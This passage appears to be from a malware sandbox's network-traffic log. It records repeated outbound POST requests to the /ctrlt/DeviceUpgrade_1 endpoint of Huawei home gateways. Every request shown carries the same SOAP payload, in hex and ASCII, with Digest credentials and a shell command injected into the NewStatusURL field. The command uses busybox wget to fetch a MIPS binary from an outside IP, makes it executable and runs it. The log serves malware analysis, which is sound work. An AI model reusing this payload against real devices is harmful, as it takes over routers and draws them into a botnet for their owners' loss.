6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:03.238135099 CET	2212	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.525485039 CET	2325	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:15.712353945 CET	2544	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:32.094096899 CET	2985	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	156.235.97.136	37215	192.168.2.23	41598

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:59.306133986 CET	2101	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:00.162610054 CET	2104	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:01.186441898 CET	2133	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:03.238135099 CET	2212	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.525485039 CET	2325	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 